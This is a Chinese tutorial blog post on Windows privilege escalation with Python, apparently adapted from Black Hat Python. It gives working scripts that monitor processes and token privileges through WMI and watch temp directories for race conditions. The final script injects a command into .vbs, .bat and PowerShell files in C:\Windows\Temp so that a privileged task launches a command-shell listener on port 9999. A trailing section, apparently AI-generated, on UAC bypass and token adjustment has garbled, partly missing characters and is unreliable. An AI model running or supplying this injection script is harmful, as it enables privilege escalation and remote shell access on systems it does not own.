Python 实现Windows系统提权

本文介绍了如何使用WMI(Windows Management Instrumentation)监控Windows系统上的进程活动,包括进程的创建、删除等,并展示了如何获取进程的详细信息及权限。此外,还探讨了条件竞争现象及其在权限漏洞利用中的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

WMI(Windows Management Instrumentation)是Windows操作系统中的管理框架,它提供了一种标准化的方式来管理和监控计算机系统的各种资源和服务。WMI可以通过编程接口(如COM接口)进行访问,并允许开发人员和系统管理员对计算机系统进行远程管理和监控。

在Windows系统中,令牌(Token)是用于身份验证和授权的一种数据结构。每个登录到系统的用户或进程都有一个关联的令牌,用于标识其身份和访问权限。令牌包含了用户或进程的安全标识(Security Identifier,SID)以及与其关联的权限集合。

WMI与Windows系统的令牌权限密切相关,因为它允许通过WMI接口执行各种系统管理任务,并且这些任务的执行受到令牌权限的限制。

利用WMI监视进程

#coding=utf-8
import win32con
import win32api
import win32security

import wmi
import sys
import os

def log_to_file(message):
    fd = open("process_monitor_log.csv","ab")
    fd.write("%s\r\n"%message)
    fd.close()

    return

#创建一个日志文件的头
log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")

#初始化WMI接口
c= wmi.WMI()

#创建进程监控器
process_watcher = c.Win32_Process.watch_for("creation") 

while True:
    try:
        new_process = process_watcher()

        proc_owner = new_process.GetOwner()
        proc_owner = "%s\\%s"%(proc_owner[0],proc_owner[2])
        create_data = new_process.CreationDate
        executable = new_process.ExecutablePath
        cmdline = new_process.CommandLine
        pid = new_process.ProcessId
        parent_pid = new_process.ParentProcessId
        privileges = "N/A"

        process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n"%(create_data,proc_owner,executable,cmdline,pid,parent_pid,privileges)

        print process_log_message

        log_to_file(process_log_message)

    except:
        pass

Windows系统的令牌权限

Windows系统的令牌是指:“一个包含进程或线程上下文安全信息的对象”。

1、SeBackupPrivilege:使得用户进程可以备份文件和目录,读取任何文件而无须关注它的访问控制列表(ACL)。

2、SeDebugPrivilege:使得用户进程可以调试其他进程,当然包括获取进程句柄以便将DLL或者代码插入到运行的进程中去。

3、SeLoadDriver:使得用户进程可以加载或者卸载驱动。

#coding=utf-8
import win32con
import win32api
import win32security

import wmi
import sys
import os

def get_process_privileges(pid):
    try:
        #获取目标进程的句柄
        hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION,False,pid)

        #打开主进程的令牌
        htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY)

        #解析已启用权限的列表
        privs = win32security.GetTokenInformation(htok,win32security.TokenPrivileges)

        #迭代每个权限并输出其中已经启用的
        priv_list = ""
        for i in privs:
            #检测权限是否已经启用
            if i[1] == 3:
                priv_list += "%s|" % win32security.LookupPrivilegeName(None,i[0])
    except Exception as e:
        priv_list = "N/A"

    return priv_list

def log_to_file(message):
    fd = open("process_monitor_log.csv","ab")
    fd.write("%s\r\n"%message)
    fd.close()

    return

#创建一个日志文件的头
log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")

#初始化WMI接口
c= wmi.WMI()

#创建进程监控器
process_watcher = c.Win32_Process.watch_for("creation") 

while True:
    try:
        new_process = process_watcher()

        proc_owner = new_process.GetOwner()
        proc_owner = "%s\\%s"%(proc_owner[0],proc_owner[2])
        create_data = new_process.CreationDate
        executable = new_process.ExecutablePath
        cmdline = new_process.CommandLine
        pid = new_process.ProcessId
        parent_pid = new_process.ParentProcessId
        privileges = get_process_privileges(pid)

        process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n"%(create_data,proc_owner,executable,cmdline,pid,parent_pid,privileges)

        print process_log_message

        log_to_file(process_log_message)

    except:
        pass

条件竞争

有些软件会把文件复制到一个临时目录下,等执行完之后就删除它。为了在这种条件下要进行权限漏洞的利用,必须在和目标程序执行脚本的竞争中占先。

当软件或计划任务创建文件的时候,必须能够在进程执行和删除文件之前插入代码。这里可以使用ReadDirectoryChangesW()函数来实现,可以让我们监控一个目录中的任何文件或者子目录的变化。

#coding=utf-8
import tempfile
import threading
import win32file
import win32con
import os

#这些是典型的临时文件所在的路径
dirs_to_monitor = ["C:\\Windows\\Temp",tempfile.gettempdir()]

#文件修改行为对应的常量
FILE_CREATED    = 1
FILE_DELETED    = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5

def start_monitor(path_to_watch):
    #为每个监控器起一个线程
    FILE_LIST_DIRECTORY = 0x0001

    h_directory = win32file.CreateFile(
        path_to_watch,
        FILE_LIST_DIRECTORY,
        win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
        None,
        win32con.OPEN_EXISTING,
        win32con.FILE_FLAG_BACKUP_SEMANTICS,
        None)

    while 1:
        try:
            results = win32file.ReadDirectoryChangesW(
                h_directory,
                1024,
                True,
                win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY,
                None,
                None
                )

            for action,file_name in results:
                full_filename = os.path.join(path_to_watch,file_name)

                if action == FILE_CREATED:
                    print "[+] Created %s"%full_filename
                elif action == FILE_DELETED:
                    print "[+] Deleted %s"%full_filename
                elif action == FILE_MODIFIED:
                    print "[+] Modified %s"%full_filename

                    #输出文件内容
                    print "[vvv] Dumping contents..."

                    try:
                        fd = open(full_filename,"rb")
                        contents = fd.read()
                        fd.close()
                        print contents
                        print "[^^^] Dump complete."
                    except:
                        print "[!!!] Failed."
                elif action == FILE_RENAMED_FROM:
                    print "[>] Renamed from: %s"%full_filename
                elif action == FILE_RENAMED_TO:
                    print "[>] Renamed to: %s"%full_filename
                else:
                    print "[???] Unknown: %s"%full_filename
        except:
            pass

for path in dirs_to_monitor:
    monitor_thread = threading.Thread(target=start_monitor,args=(path,))
    print "Spawning monitoring thread for path: %s"%path
    monitor_thread.start()

代码插入

#coding=utf-8
import tempfile
import threading
import win32file
import win32con
import os

#这些是典型的临时文件所在的路径
dirs_to_monitor = ["C:\\Windows\\Temp",tempfile.gettempdir()]

#文件修改行为对应的常量
FILE_CREATED    = 1
FILE_DELETED    = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5

file_types = {}

command = "C:\\Windows\\Temp\\bhpnet.exe -l -p 9999 -c"
file_types['.vbs'] = ["\r\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n"%command]

file_types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n%s\r\n"%command]
file_types['.psl'] = ["\r\n#bhpmarker","Start-Process \"%s\"\r\n"%command]

#用于执行代码插入的函数
def inject_code(full_filename,extension,contents):
    #判断文件是否存在标记
    if file_types[extension][0] in contents:
        return

    #如果没有标记的话,那么插入代码并标记
    full_contents = file_types[extension][0]
    full_contents += file_types[extension][1]
    full_contents += contents

    fd = open(full_filename,"wb")
    fd.write(full_contents)
    fd.close()

    print "[\o/] Injected code."

    return

def start_monitor(path_to_watch):
    #为每个监控器起一个线程
    FILE_LIST_DIRECTORY = 0x0001

    h_directory = win32file.CreateFile(
        path_to_watch,
        FILE_LIST_DIRECTORY,
        win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
        None,
        win32con.OPEN_EXISTING,
        win32con.FILE_FLAG_BACKUP_SEMANTICS,
        None)

    while 1:
        try:
            results = win32file.ReadDirectoryChangesW(
                h_directory,
                1024,
                True,
                win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY,
                None,
                None
                )

            for action,file_name in results:
                full_filename = os.path.join(path_to_watch,file_name)

                if action == FILE_CREATED:
                    print "[+] Created %s"%full_filename
                elif action == FILE_DELETED:
                    print "[+] Deleted %s"%full_filename
                elif action == FILE_MODIFIED:
                    print "[+] Modified %s"%full_filename

                    #输出文件内容
                    print "[vvv] Dumping contents..."

                    try:
                        fd = open(full_filename,"rb")
                        contents = fd.read()
                        fd.close()
                        print contents
                        print "[^^^] Dump complete."
                    except:
                        print "[!!!] Failed."

                    filename,extension = os.path.splitext(full_filename)

                    if extension in file_types:
                        inject_code(full_filename,extension,contents)

                elif action == FILE_RENAMED_FROM:
                    print "[>] Renamed from: %s"%full_filename
                elif action == FILE_RENAMED_TO:
                    print "[>] Renamed to: %s"%full_filename
                else:
                    print "[???] Unknown: %s"%full_filename
        except:
            pass

for path in dirs_to_monitor:
    monitor_thread = threading.Thread(target=start_monitor,args=(path,))
    print "Spawning monitoring thread for path: %s"%path
    monitor_thread.start()

### Windows 编程中的升 在探讨Windows编程实现的方法时,需注意合法性和道德边界。通常情况下,升涉及操作系统内部机制的操作,这不仅需要深入理解Windows的安全模型,还涉及到具体的技术细节。 #### 进程访问令牌升 一种常见的方式是通过修改当前进程的访问令牌来获取更高限。此过程可以通过调用特定API函数完成,例如`OpenProcessToken()`用于打开现有进程的访问令牌;而`AdjustTokenPrivileges()`则允许调整指定访问令牌中的特[^1]。 ```cpp HANDLE hToken; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { printf("Unable to open process token.\n"); } ``` 对于更复杂的场景,则可能需要用到诸如`CreateProcessWithLogonW()`这样的高级API,在新进程中模拟具有不同凭证的身份运行程序。 #### Bypass User Account Control (UAC) 另一种重要的手段就是绕过用户账户控制(User Account Control)。该特性旨在防止恶意软件未经许可执行高风险操作。然而,在某些特殊条件下,仍存在可被利用来进行的机会。比如,当应用程序请求管理员限时,如果能够欺骗或操纵这一流程,则有可能成功获得更高的限级别。 需要注意的是,上述到的技术仅适用于研究目的,并且应当遵循法律法规的要求。任何未经授的行为都是违法且不道德的。 #### 使用第三方工具辅助检测潜在漏洞 除了直接编写代码外,还可以借助一些现成的工具来评估系统的安全性并寻找可能存在的弱点。例如wesng是一个非常有用的开源项目,它能自动分析目标主机上的配置情况,并给出可能存在风险的地方以及相应的修复建议[^3]。 ```bash git clone https://github.com/bitsadmin/wesng.git cd wesng python wes.py --update python wes.py ``` 这些信息可以帮助开发者更好地理解和防范针对Windows平台的安全威胁。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

山月照空舟

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值